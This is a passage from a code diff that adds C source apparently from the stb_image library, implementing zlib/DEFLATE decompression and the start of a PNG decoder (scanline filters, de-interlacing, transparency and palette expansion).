+   z->code_buffer >>= n;
+   z->num_bits -= n;
+   return k;
+}
+
+static int stbi__zhuffman_decode_slowpath(stbi__zbuf *a, stbi__zhuffman *z)
+{
+   int b,s,k;
+   // not resolved by fast table, so compute it the slow way
+   // use jpeg approach, which requires MSbits at top
+   k = stbi__bit_reverse(a->code_buffer, 16);
+   for (s=STBI__ZFAST_BITS+1; ; ++s)
+      if (k < z->maxcode[s])
+         break;
+   if (s == 16) return -1; // invalid code!
+   // code size is s, so:
+   b = (k >> (16-s)) - z->firstcode[s] + z->firstsymbol[s];
+   STBI_ASSERT(z->size[b] == s);
+   a->code_buffer >>= s;
+   a->num_bits -= s;
+   return z->value[b];
+}
+
+stbi_inline static int stbi__zhuffman_decode(stbi__zbuf *a, stbi__zhuffman *z)
+{
+   int b,s;
+   if (a->num_bits < 16) stbi__fill_bits(a);
+   b = z->fast[a->code_buffer & STBI__ZFAST_MASK];
+   if (b) {
+      s = b >> 9;
+      a->code_buffer >>= s;
+      a->num_bits -= s;
+      return b & 511;
+   }
+   return stbi__zhuffman_decode_slowpath(a, z);
+}
+
+static int stbi__zexpand(stbi__zbuf *z, char *zout, int n)  // need to make room for n bytes
+{
+   char *q;
+   int cur, limit, old_limit;
+   z->zout = zout;
+   if (!z->z_expandable) return stbi__err("output buffer limit","Corrupt PNG");
+   cur   = (int) (z->zout     - z->zout_start);
+   limit = old_limit = (int) (z->zout_end - z->zout_start);
+   while (cur + n > limit)
+      limit *= 2;
+   q = (char *) STBI_REALLOC_SIZED(z->zout_start, old_limit, limit);
+   STBI_NOTUSED(old_limit);
+   if (q == NULL) return stbi__err("outofmem", "Out of memory");
+   z->zout_start = q;
+   z->zout       = q + cur;
+   z->zout_end   = q + limit;
+   return 1;
+}
+
+static const int stbi__zlength_base[31] = {
+   3,4,5,6,7,8,9,10,11,13,
+   15,17,19,23,27,31,35,43,51,59,
+   67,83,99,115,131,163,195,227,258,0,0 };
+
+static const int stbi__zlength_extra[31]=
+{ 0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0 };
+
+static const int stbi__zdist_base[32] = { 1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,
+257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577,0,0};
+
+static const int stbi__zdist_extra[32] =
+{ 0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13};
+
+static int stbi__parse_huffman_block(stbi__zbuf *a)
+{
+   char *zout = a->zout;
+   for(;;) {
+      int z = stbi__zhuffman_decode(a, &a->z_length);
+      if (z < 256) {
+         if (z < 0) return stbi__err("bad huffman code","Corrupt PNG"); // error in huffman codes
+         if (zout >= a->zout_end) {
+            if (!stbi__zexpand(a, zout, 1)) return 0;
+            zout = a->zout;
+         }
+         *zout++ = (char) z;
+      } else {
+         stbi_uc *p;
+         int len,dist;
+         if (z == 256) {
+            a->zout = zout;
+            return 1;
+         }
+         z -= 257;
+         len = stbi__zlength_base[z];
+         if (stbi__zlength_extra[z]) len += stbi__zreceive(a, stbi__zlength_extra[z]);
+         z = stbi__zhuffman_decode(a, &a->z_distance);
+         if (z < 0) return stbi__err("bad huffman code","Corrupt PNG");
+         dist = stbi__zdist_base[z];
+         if (stbi__zdist_extra[z]) dist += stbi__zreceive(a, stbi__zdist_extra[z]);
+         if (zout - a->zout_start < dist) return stbi__err("bad dist","Corrupt PNG");
+         if (zout + len > a->zout_end) {
+            if (!stbi__zexpand(a, zout, len)) return 0;
+            zout = a->zout;
+         }
+         p = (stbi_uc *) (zout - dist);
+         if (dist == 1) { // run of one byte; common in images.
+            stbi_uc v = *p;
+            if (len) { do *zout++ = v; while (--len); }
+         } else {
+            if (len) { do *zout++ = *p++; while (--len); }
+         }
+      }
+   }
+}
+
+static int stbi__compute_huffman_codes(stbi__zbuf *a)
+{
+   static const stbi_uc length_dezigzag[19] = { 16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15 };
+   stbi__zhuffman z_codelength;
+   stbi_uc lencodes[286+32+137];//padding for maximum single op
+   stbi_uc codelength_sizes[19];
+   int i,n;
+
+   int hlit  = stbi__zreceive(a,5) + 257;
+   int hdist = stbi__zreceive(a,5) + 1;
+   int hclen = stbi__zreceive(a,4) + 4;
+   int ntot  = hlit + hdist;
+
+   memset(codelength_sizes, 0, sizeof(codelength_sizes));
+   for (i=0; i < hclen; ++i) {
+      int s = stbi__zreceive(a,3);
+      codelength_sizes[length_dezigzag[i]] = (stbi_uc) s;
+   }
+   if (!stbi__zbuild_huffman(&z_codelength, codelength_sizes, 19)) return 0;
+
+   n = 0;
+   while (n < ntot) {
+      int c = stbi__zhuffman_decode(a, &z_codelength);
+      if (c < 0 || c >= 19) return stbi__err("bad codelengths", "Corrupt PNG");
+      if (c < 16)
+         lencodes[n++] = (stbi_uc) c;
+      else {
+         stbi_uc fill = 0;
+         if (c == 16) {
+            c = stbi__zreceive(a,2)+3;
+            if (n == 0) return stbi__err("bad codelengths", "Corrupt PNG");
+            fill = lencodes[n-1];
+         } else if (c == 17)
+            c = stbi__zreceive(a,3)+3;
+         else {
+            STBI_ASSERT(c == 18);
+            c = stbi__zreceive(a,7)+11;
+         }
+         if (ntot - n < c) return stbi__err("bad codelengths", "Corrupt PNG");
+         memset(lencodes+n, fill, c);
+         n += c;
+      }
+   }
+   if (n != ntot) return stbi__err("bad codelengths","Corrupt PNG");
+   if (!stbi__zbuild_huffman(&a->z_length, lencodes, hlit)) return 0;
+   if (!stbi__zbuild_huffman(&a->z_distance, lencodes+hlit, hdist)) return 0;
+   return 1;
+}
+
+static int stbi__parse_uncompressed_block(stbi__zbuf *a)
+{
+   stbi_uc header[4];
+   int len,nlen,k;
+   if (a->num_bits & 7)
+      stbi__zreceive(a, a->num_bits & 7); // discard
+   // drain the bit-packed data into header
+   k = 0;
+   while (a->num_bits > 0) {
+      header[k++] = (stbi_uc) (a->code_buffer & 255); // suppress MSVC run-time check
+      a->code_buffer >>= 8;
+      a->num_bits -= 8;
+   }
+   STBI_ASSERT(a->num_bits == 0);
+   // now fill header the normal way
+   while (k < 4)
+      header[k++] = stbi__zget8(a);
+   len  = header[1] * 256 + header[0];
+   nlen = header[3] * 256 + header[2];
+   if (nlen != (len ^ 0xffff)) return stbi__err("zlib corrupt","Corrupt PNG");
+   if (a->zbuffer + len > a->zbuffer_end) return stbi__err("read past buffer","Corrupt PNG");
+   if (a->zout + len > a->zout_end)
+      if (!stbi__zexpand(a, a->zout, len)) return 0;
+   memcpy(a->zout, a->zbuffer, len);
+   a->zbuffer += len;
+   a->zout += len;
+   return 1;
+}
+
+static int stbi__parse_zlib_header(stbi__zbuf *a)
+{
+   int cmf   = stbi__zget8(a);
+   int cm    = cmf & 15;
+   /* int cinfo = cmf >> 4; */
+   int flg   = stbi__zget8(a);
+   if ((cmf*256+flg) % 31 != 0) return stbi__err("bad zlib header","Corrupt PNG"); // zlib spec
+   if (flg & 32) return stbi__err("no preset dict","Corrupt PNG"); // preset dictionary not allowed in png
+   if (cm != 8) return stbi__err("bad compression","Corrupt PNG"); // DEFLATE required for png
+   // window = 1 << (8 + cinfo)... but who cares, we fully buffer output
+   return 1;
+}
+
+static const stbi_uc stbi__zdefault_length[288] =
+{
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8
+};
+static const stbi_uc stbi__zdefault_distance[32] =
+{
+   5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5
+};
+/*
+Init algorithm:
+{
+   int i;   // use <= to match clearly with spec
+   for (i=0; i <= 143; ++i)     stbi__zdefault_length[i]   = 8;
+   for (   ; i <= 255; ++i)     stbi__zdefault_length[i]   = 9;
+   for (   ; i <= 279; ++i)     stbi__zdefault_length[i]   = 7;
+   for (   ; i <= 287; ++i)     stbi__zdefault_length[i]   = 8;
+
+   for (i=0; i <=  31; ++i)     stbi__zdefault_distance[i] = 5;
+}
+*/
+
+static int stbi__parse_zlib(stbi__zbuf *a, int parse_header)
+{
+   int final, type;
+   if (parse_header)
+      if (!stbi__parse_zlib_header(a)) return 0;
+   a->num_bits = 0;
+   a->code_buffer = 0;
+   do {
+      final = stbi__zreceive(a,1);
+      type = stbi__zreceive(a,2);
+      if (type == 0) {
+         if (!stbi__parse_uncompressed_block(a)) return 0;
+      } else if (type == 3) {
+         return 0;
+      } else {
+         if (type == 1) {
+            // use fixed code lengths
+            if (!stbi__zbuild_huffman(&a->z_length  , stbi__zdefault_length  , 288)) return 0;
+            if (!stbi__zbuild_huffman(&a->z_distance, stbi__zdefault_distance,  32)) return 0;
+         } else {
+            if (!stbi__compute_huffman_codes(a)) return 0;
+         }
+         if (!stbi__parse_huffman_block(a)) return 0;
+      }
+   } while (!final);
+   return 1;
+}
+
+static int stbi__do_zlib(stbi__zbuf *a, char *obuf, int olen, int exp, int parse_header)
+{
+   a->zout_start = obuf;
+   a->zout       = obuf;
+   a->zout_end   = obuf + olen;
+   a->z_expandable = exp;
+
+   return stbi__parse_zlib(a, parse_header);
+}
+
+STBIDEF char *stbi_zlib_decode_malloc_guesssize(const char *buffer, int len, int initial_size, int *outlen)
+{
+   stbi__zbuf a;
+   char *p = (char *) stbi__malloc(initial_size);
+   if (p == NULL) return NULL;
+   a.zbuffer = (stbi_uc *) buffer;
+   a.zbuffer_end = (stbi_uc *) buffer + len;
+   if (stbi__do_zlib(&a, p, initial_size, 1, 1)) {
+      if (outlen) *outlen = (int) (a.zout - a.zout_start);
+      return a.zout_start;
+   } else {
+      STBI_FREE(a.zout_start);
+      return NULL;
+   }
+}
+
+STBIDEF char *stbi_zlib_decode_malloc(char const *buffer, int len, int *outlen)
+{
+   return stbi_zlib_decode_malloc_guesssize(buffer, len, 16384, outlen);
+}
+
+STBIDEF char *stbi_zlib_decode_malloc_guesssize_headerflag(const char *buffer, int len, int initial_size, int *outlen, int parse_header)
+{
+   stbi__zbuf a;
+   char *p = (char *) stbi__malloc(initial_size);
+   if (p == NULL) return NULL;
+   a.zbuffer = (stbi_uc *) buffer;
+   a.zbuffer_end = (stbi_uc *) buffer + len;
+   if (stbi__do_zlib(&a, p, initial_size, 1, parse_header)) {
+      if (outlen) *outlen = (int) (a.zout - a.zout_start);
+      return a.zout_start;
+   } else {
+      STBI_FREE(a.zout_start);
+      return NULL;
+   }
+}
+
+STBIDEF int stbi_zlib_decode_buffer(char *obuffer, int olen, char const *ibuffer, int ilen)
+{
+   stbi__zbuf a;
+   a.zbuffer = (stbi_uc *) ibuffer;
+   a.zbuffer_end = (stbi_uc *) ibuffer + ilen;
+   if (stbi__do_zlib(&a, obuffer, olen, 0, 1))
+      return (int) (a.zout - a.zout_start);
+   else
+      return -1;
+}
+
+STBIDEF char *stbi_zlib_decode_noheader_malloc(char const *buffer, int len, int *outlen)
+{
+   stbi__zbuf a;
+   char *p = (char *) stbi__malloc(16384);
+   if (p == NULL) return NULL;
+   a.zbuffer = (stbi_uc *) buffer;
+   a.zbuffer_end = (stbi_uc *) buffer+len;
+   if (stbi__do_zlib(&a, p, 16384, 1, 0)) {
+      if (outlen) *outlen = (int) (a.zout - a.zout_start);
+      return a.zout_start;
+   } else {
+      STBI_FREE(a.zout_start);
+      return NULL;
+   }
+}
+
+STBIDEF int stbi_zlib_decode_noheader_buffer(char *obuffer, int olen, const char *ibuffer, int ilen)
+{
+   stbi__zbuf a;
+   a.zbuffer = (stbi_uc *) ibuffer;
+   a.zbuffer_end = (stbi_uc *) ibuffer + ilen;
+   if (stbi__do_zlib(&a, obuffer, olen, 0, 0))
+      return (int) (a.zout - a.zout_start);
+   else
+      return -1;
+}
+#endif
+
+// public domain "baseline" PNG decoder   v0.10  Sean Barrett 2006-11-18
+//    simple implementation
+//      - only 8-bit samples
+//      - no CRC checking
+//      - allocates lots of intermediate memory
+//        - avoids problem of streaming data between subsystems
+//        - avoids explicit window management
+//    performance
+//      - uses stb_zlib, a PD zlib implementation with fast huffman decoding
+
+#ifndef STBI_NO_PNG
+typedef struct
+{
+   stbi__uint32 length;
+   stbi__uint32 type;
+} stbi__pngchunk;
+
+static stbi__pngchunk stbi__get_chunk_header(stbi__context *s)
+{
+   stbi__pngchunk c;
+   c.length = stbi__get32be(s);
+   c.type   = stbi__get32be(s);
+   return c;
+}
+
+static int stbi__check_png_header(stbi__context *s)
+{
+   static const stbi_uc png_sig[8] = { 137,80,78,71,13,10,26,10 };
+   int i;
+   for (i=0; i < 8; ++i)
+      if (stbi__get8(s) != png_sig[i]) return stbi__err("bad png sig","Not a PNG");
+   return 1;
+}
+
+typedef struct
+{
+   stbi__context *s;
+   stbi_uc *idata, *expanded, *out;
+   int depth;
+} stbi__png;
+
+
+enum {
+   STBI__F_none=0,
+   STBI__F_sub=1,
+   STBI__F_up=2,
+   STBI__F_avg=3,
+   STBI__F_paeth=4,
+   // synthetic filters used for first scanline to avoid needing a dummy row of 0s
+   STBI__F_avg_first,
+   STBI__F_paeth_first
+};
+
+static stbi_uc first_row_filter[5] =
+{
+   STBI__F_none,
+   STBI__F_sub,
+   STBI__F_none,
+   STBI__F_avg_first,
+   STBI__F_paeth_first
+};
+
+static int stbi__paeth(int a, int b, int c)
+{
+   int p = a + b - c;
+   int pa = abs(p-a);
+   int pb = abs(p-b);
+   int pc = abs(p-c);
+   if (pa <= pb && pa <= pc) return a;
+   if (pb <= pc) return b;
+   return c;
+}
+
+static const stbi_uc stbi__depth_scale_table[9] = { 0, 0xff, 0x55, 0, 0x11, 0,0,0, 0x01 };
+
+// create the png data from post-deflated data
+static int stbi__create_png_image_raw(stbi__png *a, stbi_uc *raw, stbi__uint32 raw_len, int out_n, stbi__uint32 x, stbi__uint32 y, int depth, int color)
+{
+   int bytes = (depth == 16? 2 : 1);
+   stbi__context *s = a->s;
+   stbi__uint32 i,j,stride = x*out_n*bytes;
+   stbi__uint32 img_len, img_width_bytes;
+   int k;
+   int img_n = s->img_n; // copy it into a local for later
+
+   int output_bytes = out_n*bytes;
+   int filter_bytes = img_n*bytes;
+   int width = x;
+
+   STBI_ASSERT(out_n == s->img_n || out_n == s->img_n+1);
+   a->out = (stbi_uc *) stbi__malloc_mad3(x, y, output_bytes, 0); // extra bytes to write off the end into
+   if (!a->out) return stbi__err("outofmem", "Out of memory");
+
+   if (!stbi__mad3sizes_valid(img_n, x, depth, 7)) return stbi__err("too large", "Corrupt PNG");
+   img_width_bytes = (((img_n * x * depth) + 7) >> 3);
+   img_len = (img_width_bytes + 1) * y;
+
+   // we used to check for exact match between raw_len and img_len on non-interlaced PNGs,
+   // but issue #276 reported a PNG in the wild that had extra data at the end (all zeros),
+   // so just check for raw_len < img_len always.
+   if (raw_len < img_len) return stbi__err("not enough pixels","Corrupt PNG");
+
+   for (j=0; j < y; ++j) {
+      stbi_uc *cur = a->out + stride*j;
+      stbi_uc *prior;
+      int filter = *raw++;
+
+      if (filter > 4)
+         return stbi__err("invalid filter","Corrupt PNG");
+
+      if (depth < 8) {
+         STBI_ASSERT(img_width_bytes <= x);
+         cur += x*out_n - img_width_bytes; // store output to the rightmost img_len bytes, so we can decode in place
+         filter_bytes = 1;
+         width = img_width_bytes;
+      }
+      prior = cur - stride; // bugfix: need to compute this after 'cur +=' computation above
+
+      // if first row, use special filter that doesn't sample previous row
+      if (j == 0) filter = first_row_filter[filter];
+
+      // handle first byte explicitly
+      for (k=0; k < filter_bytes; ++k) {
+         switch (filter) {
+            case STBI__F_none       : cur[k] = raw[k]; break;
+            case STBI__F_sub        : cur[k] = raw[k]; break;
+            case STBI__F_up         : cur[k] = STBI__BYTECAST(raw[k] + prior[k]); break;
+            case STBI__F_avg        : cur[k] = STBI__BYTECAST(raw[k] + (prior[k]>>1)); break;
+            case STBI__F_paeth      : cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(0,prior[k],0)); break;
+            case STBI__F_avg_first  : cur[k] = raw[k]; break;
+            case STBI__F_paeth_first: cur[k] = raw[k]; break;
+         }
+      }
+
+      if (depth == 8) {
+         if (img_n != out_n)
+            cur[img_n] = 255; // first pixel
+         raw += img_n;
+         cur += out_n;
+         prior += out_n;
+      } else if (depth == 16) {
+         if (img_n != out_n) {
+            cur[filter_bytes]   = 255; // first pixel top byte
+            cur[filter_bytes+1] = 255; // first pixel bottom byte
+         }
+         raw += filter_bytes;
+         cur += output_bytes;
+         prior += output_bytes;
+      } else {
+         raw += 1;
+         cur += 1;
+         prior += 1;
+      }
+
+      // this is a little gross, so that we don't switch per-pixel or per-component
+      if (depth < 8 || img_n == out_n) {
+         int nk = (width - 1)*filter_bytes;
+         #define STBI__CASE(f) \
+             case f:     \
+                for (k=0; k < nk; ++k)
+         switch (filter) {
+            // "none" filter turns into a memcpy here; make that explicit.
+            case STBI__F_none:         memcpy(cur, raw, nk); break;
+            STBI__CASE(STBI__F_sub)          { cur[k] = STBI__BYTECAST(raw[k] + cur[k-filter_bytes]); } break;
+            STBI__CASE(STBI__F_up)           { cur[k] = STBI__BYTECAST(raw[k] + prior[k]); } break;
+            STBI__CASE(STBI__F_avg)          { cur[k] = STBI__BYTECAST(raw[k] + ((prior[k] + cur[k-filter_bytes])>>1)); } break;
+            STBI__CASE(STBI__F_paeth)        { cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(cur[k-filter_bytes],prior[k],prior[k-filter_bytes])); } break;
+            STBI__CASE(STBI__F_avg_first)    { cur[k] = STBI__BYTECAST(raw[k] + (cur[k-filter_bytes] >> 1)); } break;
+            STBI__CASE(STBI__F_paeth_first)  { cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(cur[k-filter_bytes],0,0)); } break;
+         }
+         #undef STBI__CASE
+         raw += nk;
+      } else {
+         STBI_ASSERT(img_n+1 == out_n);
+         #define STBI__CASE(f) \
+             case f:     \
+                for (i=x-1; i >= 1; --i, cur[filter_bytes]=255,raw+=filter_bytes,cur+=output_bytes,prior+=output_bytes) \
+                   for (k=0; k < filter_bytes; ++k)
+         switch (filter) {
+            STBI__CASE(STBI__F_none)         { cur[k] = raw[k]; } break;
+            STBI__CASE(STBI__F_sub)          { cur[k] = STBI__BYTECAST(raw[k] + cur[k- output_bytes]); } break;
+            STBI__CASE(STBI__F_up)           { cur[k] = STBI__BYTECAST(raw[k] + prior[k]); } break;
+            STBI__CASE(STBI__F_avg)          { cur[k] = STBI__BYTECAST(raw[k] + ((prior[k] + cur[k- output_bytes])>>1)); } break;
+            STBI__CASE(STBI__F_paeth)        { cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(cur[k- output_bytes],prior[k],prior[k- output_bytes])); } break;
+            STBI__CASE(STBI__F_avg_first)    { cur[k] = STBI__BYTECAST(raw[k] + (cur[k- output_bytes] >> 1)); } break;
+            STBI__CASE(STBI__F_paeth_first)  { cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(cur[k- output_bytes],0,0)); } break;
+         }
+         #undef STBI__CASE
+
+         // the loop above sets the high byte of the pixels' alpha, but for
+         // 16 bit png files we also need the low byte set. we'll do that here.
+         if (depth == 16) {
+            cur = a->out + stride*j; // start at the beginning of the row again
+            for (i=0; i < x; ++i,cur+=output_bytes) {
+               cur[filter_bytes+1] = 255;
+            }
+         }
+      }
+   }
+
+   // we make a separate pass to expand bits to pixels; for performance,
+   // this could run two scanlines behind the above code, so it won't
+   // intefere with filtering but will still be in the cache.
+   if (depth < 8) {
+      for (j=0; j < y; ++j) {
+         stbi_uc *cur = a->out + stride*j;
+         stbi_uc *in  = a->out + stride*j + x*out_n - img_width_bytes;
+         // unpack 1/2/4-bit into a 8-bit buffer. allows us to keep the common 8-bit path optimal at minimal cost for 1/2/4-bit
+         // png guarante byte alignment, if width is not multiple of 8/4/2 we'll decode dummy trailing data that will be skipped in the later loop
+         stbi_uc scale = (color == 0) ? stbi__depth_scale_table[depth] : 1; // scale grayscale values to 0..255 range
+
+         // note that the final byte might overshoot and write more data than desired.
+         // we can allocate enough data that this never writes out of memory, but it
+         // could also overwrite the next scanline. can it overwrite non-empty data
+         // on the next scanline? yes, consider 1-pixel-wide scanlines with 1-bit-per-pixel.
+         // so we need to explicitly clamp the final ones
+
+         if (depth == 4) {
+            for (k=x*img_n; k >= 2; k-=2, ++in) {
+               *cur++ = scale * ((*in >> 4)       );
+               *cur++ = scale * ((*in     ) & 0x0f);
+            }
+            if (k > 0) *cur++ = scale * ((*in >> 4)       );
+         } else if (depth == 2) {
+            for (k=x*img_n; k >= 4; k-=4, ++in) {
+               *cur++ = scale * ((*in >> 6)       );
+               *cur++ = scale * ((*in >> 4) & 0x03);
+               *cur++ = scale * ((*in >> 2) & 0x03);
+               *cur++ = scale * ((*in     ) & 0x03);
+            }
+            if (k > 0) *cur++ = scale * ((*in >> 6)       );
+            if (k > 1) *cur++ = scale * ((*in >> 4) & 0x03);
+            if (k > 2) *cur++ = scale * ((*in >> 2) & 0x03);
+         } else if (depth == 1) {
+            for (k=x*img_n; k >= 8; k-=8, ++in) {
+               *cur++ = scale * ((*in >> 7)       );
+               *cur++ = scale * ((*in >> 6) & 0x01);
+               *cur++ = scale * ((*in >> 5) & 0x01);
+               *cur++ = scale * ((*in >> 4) & 0x01);
+               *cur++ = scale * ((*in >> 3) & 0x01);
+               *cur++ = scale * ((*in >> 2) & 0x01);
+               *cur++ = scale * ((*in >> 1) & 0x01);
+               *cur++ = scale * ((*in     ) & 0x01);
+            }
+            if (k > 0) *cur++ = scale * ((*in >> 7)       );
+            if (k > 1) *cur++ = scale * ((*in >> 6) & 0x01);
+            if (k > 2) *cur++ = scale * ((*in >> 5) & 0x01);
+            if (k > 3) *cur++ = scale * ((*in >> 4) & 0x01);
+            if (k > 4) *cur++ = scale * ((*in >> 3) & 0x01);
+            if (k > 5) *cur++ = scale * ((*in >> 2) & 0x01);
+            if (k > 6) *cur++ = scale * ((*in >> 1) & 0x01);
+         }
+         if (img_n != out_n) {
+            int q;
+            // insert alpha = 255
+            cur = a->out + stride*j;
+            if (img_n == 1) {
+               for (q=x-1; q >= 0; --q) {
+                  cur[q*2+1] = 255;
+                  cur[q*2+0] = cur[q];
+               }
+            } else {
+               STBI_ASSERT(img_n == 3);
+               for (q=x-1; q >= 0; --q) {
+                  cur[q*4+3] = 255;
+                  cur[q*4+2] = cur[q*3+2];
+                  cur[q*4+1] = cur[q*3+1];
+                  cur[q*4+0] = cur[q*3+0];
+               }
+            }
+         }
+      }
+   } else if (depth == 16) {
+      // force the image data from big-endian to platform-native.
+      // this is done in a separate pass due to the decoding relying
+      // on the data being untouched, but could probably be done
+      // per-line during decode if care is taken.
+      stbi_uc *cur = a->out;
+      stbi__uint16 *cur16 = (stbi__uint16*)cur;
+
+      for(i=0; i < x*y*out_n; ++i,cur16++,cur+=2) {
+         *cur16 = (cur[0] << 8) | cur[1];
+      }
+   }
+
+   return 1;
+}
+
+static int stbi__create_png_image(stbi__png *a, stbi_uc *image_data, stbi__uint32 image_data_len, int out_n, int depth, int color, int interlaced)
+{
+   int bytes = (depth == 16 ? 2 : 1);
+   int out_bytes = out_n * bytes;
+   stbi_uc *final;
+   int p;
+   if (!interlaced)
+      return stbi__create_png_image_raw(a, image_data, image_data_len, out_n, a->s->img_x, a->s->img_y, depth, color);
+
+   // de-interlacing
+   final = (stbi_uc *) stbi__malloc_mad3(a->s->img_x, a->s->img_y, out_bytes, 0);
+   for (p=0; p < 7; ++p) {
+      int xorig[] = { 0,4,0,2,0,1,0 };
+      int yorig[] = { 0,0,4,0,2,0,1 };
+      int xspc[]  = { 8,8,4,4,2,2,1 };
+      int yspc[]  = { 8,8,8,4,4,2,2 };
+      int i,j,x,y;
+      // pass1_x[4] = 0, pass1_x[5] = 1, pass1_x[12] = 1
+      x = (a->s->img_x - xorig[p] + xspc[p]-1) / xspc[p];
+      y = (a->s->img_y - yorig[p] + yspc[p]-1) / yspc[p];
+      if (x && y) {
+         stbi__uint32 img_len = ((((a->s->img_n * x * depth) + 7) >> 3) + 1) * y;
+         if (!stbi__create_png_image_raw(a, image_data, image_data_len, out_n, x, y, depth, color)) {
+            STBI_FREE(final);
+            return 0;
+         }
+         for (j=0; j < y; ++j) {
+            for (i=0; i < x; ++i) {
+               int out_y = j*yspc[p]+yorig[p];
+               int out_x = i*xspc[p]+xorig[p];
+               memcpy(final + out_y*a->s->img_x*out_bytes + out_x*out_bytes,
+                      a->out + (j*x+i)*out_bytes, out_bytes);
+            }
+         }
+         STBI_FREE(a->out);
+         image_data += img_len;
+         image_data_len -= img_len;
+      }
+   }
+   a->out = final;
+
+   return 1;
+}
+
+static int stbi__compute_transparency(stbi__png *z, stbi_uc tc[3], int out_n)
+{
+   stbi__context *s = z->s;
+   stbi__uint32 i, pixel_count = s->img_x * s->img_y;
+   stbi_uc *p = z->out;
+
+   // compute color-based transparency, assuming we've
+   // already got 255 as the alpha value in the output
+   STBI_ASSERT(out_n == 2 || out_n == 4);
+
+   if (out_n == 2) {
+      for (i=0; i < pixel_count; ++i) {
+         p[1] = (p[0] == tc[0] ? 0 : 255);
+         p += 2;
+      }
+   } else {
+      for (i=0; i < pixel_count; ++i) {
+         if (p[0] == tc[0] && p[1] == tc[1] && p[2] == tc[2])
+            p[3] = 0;
+         p += 4;
+      }
+   }
+   return 1;
+}
+
+static int stbi__compute_transparency16(stbi__png *z, stbi__uint16 tc[3], int out_n)
+{
+   stbi__context *s = z->s;
+   stbi__uint32 i, pixel_count = s->img_x * s->img_y;
+   stbi__uint16 *p = (stbi__uint16*) z->out;
+
+   // compute color-based transparency, assuming we've
+   // already got 65535 as the alpha value in the output
+   STBI_ASSERT(out_n == 2 || out_n == 4);
+
+   if (out_n == 2) {
+      for (i = 0; i < pixel_count; ++i) {
+         p[1] = (p[0] == tc[0] ? 0 : 65535);
+         p += 2;
+      }
+   } else {
+      for (i = 0; i < pixel_count; ++i) {
+         if (p[0] == tc[0] && p[1] == tc[1] && p[2] == tc[2])
+            p[3] = 0;
+         p += 4;
+      }
+   }
+   return 1;
+}
+
+static int stbi__expand_png_palette(stbi__png *a, stbi_uc *palette, int len, int pal_img_n)
+{
+   stbi__uint32 i, pixel_count = a->s->img_x * a->s->img_y;
+   stbi_uc *p, *temp_out, *orig = a->out;
+
+   p = (stbi_uc *) stbi__malloc_mad2(pixel_count, pal_img_n, 0);
+   if (p == NULL) return stbi__err("outofmem", "Out of memory");
+
+   // between here and free(out) below, exitting would leak
+   temp_out = p;
+
+   if (pal_img_n == 3) {
+      for (i=0; i < pixel_count; ++i) {
+         int n = orig[i]*4;
+         p[0] = palette[n  ];
+         p[1] = palette[n+1];
+         p[2] = palette[n+2];
+         p += 3;
+      }
+   } else {
+      for (i=0; i < pixel_count; ++i) {
+         int n = orig[i]*4;
+         p[0] = palette[n  ];
+         p[1] = palette[n+1];
+         p[2] = palette[n+2];
+         p[3] = palette[n+3];
+         p += 4;
+      }
+   }
+   STBI_FREE(a->out);
+   a->out = temp_out;
+
+   STBI_NOTUSED(len);
+
+   return 1;
+}
+
+static int stbi__unpremultiply_on_load = 0;
+static int stbi__de_iphone_flag = 0;
+
+STBIDEF void stbi_set_unpremultiply_on_load(int flag_true_if_should_unpremultiply)
+{
+   stbi__unpremultiply_on_load = flag_true_if_should_unpremultiply;
+}
+
+STBIDEF void stbi_convert_iphone_png_to_rgb(int flag_true_if_should_convert)
+{
+   stbi__de_iphone_flag = flag_true_if_should_convert;
+}
+
+static void stbi__de_iphone(stbi__png *z)
+{
+   stbi__context *s = z->s;
+   stbi__uint32 i, pixel_count = s->img_x * s->img_y;
+   stbi_uc *p = z->out;
+
+   if (s->img_out_n == 3) {  // convert bgr to rgb
+      for (i=0; i < pixel_count; ++i) {
+         stbi_uc t = p[0];
+         p[0] = p[2];
+         p[2] = t;
+         p += 3;
+      }
+   } else {
+      STBI_ASSERT(s->img_out_n == 4);
+      if (stbi__unpremultiply_on_load) {
+         // convert bgr to rgb and unpremultiply
+         for (i=0; i < pixel_count; ++i) {
+            stbi_uc a = p[3];
+            stbi_uc t = p[0];
+            if (a) {
+               stbi_uc half = a / 2;
+               p[0] = (p[2] * 255 + half) / a;
+               p[1] = (p[1] * 255 + half) / a;
+               p[2] = ( t   * 255 + half) / a;
+            } else {
+               p[0] = p[2];
+               p[2] = t;
+            }
+            p += 4;
+         }
+      } else {
+         // convert bgr to rgb
+         for (i=0; i < pixel_count; ++i) {
+            stbi_uc t = p[0];
+            p[0] = p[2];
+            p[2] = t;
+            p += 4;
+         }
+      }
+   }
+}
+
